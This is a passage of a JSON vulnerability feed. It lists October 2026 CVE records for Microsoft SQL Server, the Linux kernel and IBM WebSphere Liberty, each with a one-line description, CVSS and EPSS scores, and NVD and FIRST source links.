score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94512&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94512, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88088","cveId":"CVE-2026-88088","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in SQL Server allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in SQL Server allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in SQL Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:43.307Z","updatedAt":"2026-10-16T04:18:40.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88088","asOf":"2026-10-16T04:18:40.480Z"},"epss":{"probability":0.00237,"percentile":0.14546,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88088&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88088","type":"primary","publishedAt":"2026-10-13T21:19:43.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88088&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88088, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88083","cveId":"CVE-2026-88083","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in SQL Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:42.810Z","updatedAt":"2026-10-16T04:18:40.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88083","asOf":"2026-10-16T04:18:40.040Z"},"epss":{"probability":0.00497,"percentile":0.42354,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88083&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88083","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88083","type":"primary","publishedAt":"2026-10-13T21:19:42.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88083&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88083, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88082","cveId":"CVE-2026-88082","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:42.693Z","updatedAt":"2026-10-16T04:18:39.790Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88082","asOf":"2026-10-16T04:18:39.790Z"},"epss":{"probability":0.00237,"percentile":0.14547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88082","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88082","type":"primary","publishedAt":"2026-10-13T21:19:42.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88081","cveId":"CVE-2026-88081","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.","summary":"Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.","detail":"Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:42.563Z","updatedAt":"2026-10-15T20:39:54.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88081","asOf":"2026-10-15T20:39:54.150Z"},"epss":{"probability":0.00797,"percentile":0.56204,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88081","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88081","type":"primary","publishedAt":"2026-10-13T21:19:42.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88081, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85919","cveId":"CVE-2026-85919","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:34.053Z","updatedAt":"2026-10-16T04:18:39.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85919","asOf":"2026-10-16T04:18:39.553Z"},"epss":{"probability":0.00237,"percentile":0.14546,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85919","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85919","type":"primary","publishedAt":"2026-10-13T21:19:34.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85888","cveId":"CVE-2026-85888","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.","summary":"Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.","detail":"Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:31.270Z","updatedAt":"2026-10-15T20:39:54.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85888","asOf":"2026-10-15T20:39:54.150Z"},"epss":{"probability":0.00797,"percentile":0.56204,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85888&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85888","type":"primary","publishedAt":"2026-10-13T21:19:31.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85888&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85888, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85886","cveId":"CVE-2026-85886","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:31.143Z","updatedAt":"2026-10-16T04:18:39.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85886","asOf":"2026-10-16T04:18:39.343Z"},"epss":{"probability":0.00405,"percentile":0.34469,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85886","type":"primary","publishedAt":"2026-10-13T21:19:31.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85886, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85876","cveId":"CVE-2026-85876","aliases":[],"kind":"vulnerability","title":"Use after free in SQL Server allows an authorized attacker to elevate privileges locally.","summary":"Use after free in SQL Server allows an authorized attacker to elevate privileges locally.","detail":"Use after free in SQL Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:19:30.767Z","updatedAt":"2026-10-16T04:18:38.597Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85876","asOf":"2026-10-16T04:18:38.597Z"},"epss":{"probability":0.00197,"percentile":0.09277,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85876&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85876","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85876","type":"primary","publishedAt":"2026-10-13T21:19:30.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85876&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85876, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68883","cveId":"CVE-2026-68883","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.","summary":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.","detail":"Heap-based buffer overflow in SQL Server allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:41.847Z","updatedAt":"2026-10-16T04:18:35.467Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68883","asOf":"2026-10-16T04:18:35.467Z"},"epss":{"probability":0.00556,"percentile":0.46118,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68883&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-68883","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68883","type":"primary","publishedAt":"2026-10-13T21:17:41.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68883&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68883, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-67625","cveId":"CVE-2026-67625","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in SQL Server allows an authorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:41.343Z","updatedAt":"2026-10-16T04:18:35.287Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-67625","asOf":"2026-10-16T04:18:35.287Z"},"epss":{"probability":0.00556,"percentile":0.46118,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-67625&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-67625","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67625","type":"primary","publishedAt":"2026-10-13T21:17:41.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-67625&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-67625, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65674","cveId":"CVE-2026-65674","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.","summary":"Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in SQL Server allows an authorized attacker to execute code over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:41.157Z","updatedAt":"2026-10-16T04:18:34.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65674","asOf":"2026-10-16T04:18:34.120Z"},"epss":{"probability":0.01619,"percentile":0.75878,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65674&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65674","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65674","type":"primary","publishedAt":"2026-10-13T21:17:41.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65674&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65674, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-62840","cveId":"CVE-2026-62840","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Linux Kernel allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Linux Kernel allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Linux Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:40.033Z","updatedAt":"2026-10-16T14:17:25.377Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-62840","asOf":"2026-10-16T14:17:25.377Z"},"epss":{"probability":0.00207,"percentile":0.10676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-62840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-62840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62840","type":"primary","publishedAt":"2026-10-13T21:17:40.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-62840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105443","cveId":"CVE-2026-105443","aliases":[],"kind":"vulnerability","title":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 has insufficient isolation between servers sharing an install.","summary":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 has insufficient isolation between servers sharing an install.","detail":"IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.10 has insufficient isolation between servers sharing an install.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T21:17:27.100Z","updatedAt":"2026-10-16T18:17:21.827Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105443","asOf":"2026-10-16T18:17:21.827Z"},"epss":{"probability":0.00229,"percentile":0.13541,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105443&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105443","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105443","type":"primary","publishedAt":"2026-10-13T21:17:27.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied 